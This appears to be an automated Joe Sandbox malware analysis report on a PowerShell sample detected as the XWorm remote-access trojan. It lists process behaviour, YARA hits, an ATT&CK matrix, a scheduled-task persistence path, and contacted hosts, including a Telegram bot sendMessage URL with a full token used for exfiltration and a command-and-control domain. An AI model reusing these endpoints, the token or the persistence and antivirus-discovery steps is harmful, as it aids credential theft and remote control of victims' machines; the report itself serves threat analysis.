Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 11.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3865121018.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3868513529.0000000002771000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1112, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 11.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3865121018.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3868513529.0000000002771000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1112, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	112 Scripting	Valid Accounts	11 Windows Management Instrumentation	112 Scripting	211 Process Injection	1 Disable or Modify Tools	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	121 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	211 Process Injection	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	114 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LUYYSwStKN.ps1	18%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
https://api.telegram.org/bot7023733342:AAF7anpSpW-b4P0f9IHAtSRpneaxwA7w_Lc/sendMessagep	0%	Avira URL Cloud	safe
https://api.ipify.org?format=text	0%	Avira URL Cloud	safe
https://aka.ms/winsvr-2022-pshelp	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
https://api.telegram.org/bot7023733342:AAF7anpSpW-b4P0f9IHAtSRpneaxwA7w_Lc/sendMessage	0%	Avira URL Cloud	safe
https://aka.ms/winsvr-2022-pshelpX	0%	Avira URL Cloud	safe
http://api.ipify.org	0%	Avira URL Cloud	safe
vecotr.viewdns.net	0%	Avira URL Cloud	safe
https://api.ipify.org/?format=text	0%	Avira URL Cloud	safe
https://api.telegram.org/bot$BotToken/sendMessage	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api.ipify.org	104.26.12.205	true	false	unknown
vecotr.viewdns.net	191.96.207.180	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7023733342:AAF7anpSpW-b4P0f9IHAtSRpneaxwA7w_Lc/sendMessage	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/?format=text	false	Avira URL Cloud: safe	unknown
vecotr.viewdns.net	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org?format=text	powershell.exe, 00000001.00000002.1567596454.0000026A4C862000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1613322253.0000026A5B7F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp, LUYYSwStKN.ps1	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1613322253.0000026A5B7F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1613322253.0000026A5BA76000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	powershell.exe, 00000001.00000002.1567596454.0000026A4C98C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7023733342:AAF7anpSpW-b4P0f9IHAtSRpneaxwA7w_Lc/sendMessagep	powershell.exe, 00000001.00000002.1567596454.0000026A4C98C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000001.00000002.1567596454.0000026A4D778000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.co	powershell.exe, 00000001.00000002.1625284459.0000026A63A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.1613322253.0000026A5BA76000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1613322253.0000026A5BA76000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 00000001.00000002.1567596454.0000026A4D424000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1567596454.0000026A4D3FE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.ipify.org	powershell.exe, 00000001.00000002.1567596454.0000026A4C94A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org	powershell.exe, 00000001.00000002.1567596454.0000026A4C862000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot$BotToken/sendMessage	powershell.exe, 00000001.00000002.1613322253.0000026A5B7F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp, LUYYSwStKN.ps1	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1567596454.0000026A4B938000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1613322253.0000026A5BA76000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1613322253.0000026A5B7F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1613322253.0000026A5BA76000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1567596454.0000026A4B781000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://api.telegram.org	powershell.exe, 00000001.00000002.1567596454.0000026A4CA23000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1567596454.0000026A4B781000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000B.00000002.3868513529.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
191.96.207.180	vecotr.viewdns.net	Chile	60458	ASN-XTUDIONETES	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1517142
Start date and time:	2024-09-24 19:23:37 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LUYYSwStKN.ps1 renamed because original name is a hash value
Original Sample Name:	046ef795e6a9e68203ad07963b6a828d5aff2f55ec57bb8c0ebd778ae594d1c4.ps1
Detection:	MAL
Classification:	mal100.troj.expl.evad.winPS1@13/12@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 15 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: LUYYSwStKN.ps1

Simulations

Behavior and APIs

Time	Type	Description
13:24:34	API Interceptor	84x Sleep call for process: powershell.exe modified
13:24:59	API Interceptor	7269484x Sleep call for process: RegSvcs.exe modified
19:24:43	Task Scheduler	Run new task: MicroSoftVisualsUpdater path: C:\ProgramData\Music\Visuals\VsLabs.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	cFvDKWB1V8.ps1	Get hash	malicious	XWorm	Browse
	670un9Ls5U.vbs	Get hash	malicious	XWorm	Browse
	XeI2N4WyGz.ps1	Get hash	malicious	XWorm	Browse
	payload_1.vbs	Get hash	malicious	XWorm	Browse
	4zyQ690hFT.ps1	Get hash	malicious	XWorm	Browse
	NxyRj26Cuc.ps1	Get hash	malicious	XWorm	Browse
	ksQFeEiSrk.ps1	Get hash	malicious	XWorm	Browse
	Ox980wdz11.ps1	Get hash	malicious	XWorm	Browse
	eKgbSLP6z6.ps1	Get hash	malicious	XWorm	Browse
	jJqm9V8zJ9.ps1	Get hash	malicious	XWorm	Browse
104.26.12.205	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
191.96.207.180	84Z63SyEQ7.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse
	XClient.exe	Get hash	malicious	XWorm	Browse
	GvJxEfWyS1.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse
	7lFbTUxX9m.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse
	XeI2N4WyGz.ps1	Get hash	malicious	XWorm	Browse
	lzsVg6vGuu.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse
	payload_1.vbs	Get hash	malicious	XWorm	Browse
	Commitment_for_Title_Insurance-660184790411.wsf	Get hash	malicious	XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
vecotr.viewdns.net	84Z63SyEQ7.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse	191.96.207.180
	XClient.exe	Get hash	malicious	XWorm	Browse	191.96.207.180
	GvJxEfWyS1.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse	191.96.207.180
	7lFbTUxX9m.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse	191.96.207.180
	XeI2N4WyGz.ps1	Get hash	malicious	XWorm	Browse	191.96.207.180
	lzsVg6vGuu.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse	191.96.207.180
	payload_1.vbs	Get hash	malicious	XWorm	Browse	191.96.207.180
	Commitment_for_Title_Insurance-660184790411.wsf	Get hash	malicious	XWorm	Browse	191.96.207.180
api.ipify.org	cFvDKWB1V8.ps1	Get hash	malicious	XWorm	Browse	172.67.74.152
	670un9Ls5U.vbs	Get hash	malicious	XWorm	Browse	104.26.12.205
	XeI2N4WyGz.ps1	Get hash	malicious	XWorm	Browse	104.26.13.205
	payload_1.vbs	Get hash	malicious	XWorm	Browse	104.26.12.205
	4zyQ690hFT.ps1	Get hash	malicious	XWorm	Browse	172.67.74.152
	NxyRj26Cuc.ps1	Get hash	malicious	XWorm	Browse	104.26.12.205
	ksQFeEiSrk.ps1	Get hash	malicious	XWorm	Browse	172.67.74.152
	Ox980wdz11.ps1	Get hash	malicious	XWorm	Browse	104.26.13.205
	eKgbSLP6z6.ps1	Get hash	malicious	XWorm	Browse	104.26.13.205
	jJqm9V8zJ9.ps1	Get hash	malicious	XWorm	Browse	104.26.12.205
api.telegram.org	cFvDKWB1V8.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	670un9Ls5U.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220
	XeI2N4WyGz.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	payload_1.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220
	4zyQ690hFT.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	NxyRj26Cuc.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	ksQFeEiSrk.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	Ox980wdz11.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	eKgbSLP6z6.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	jJqm9V8zJ9.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	cFvDKWB1V8.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	670un9Ls5U.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220
	XeI2N4WyGz.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	payload_1.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220
	4zyQ690hFT.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	NxyRj26Cuc.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	ksQFeEiSrk.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	Ox980wdz11.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
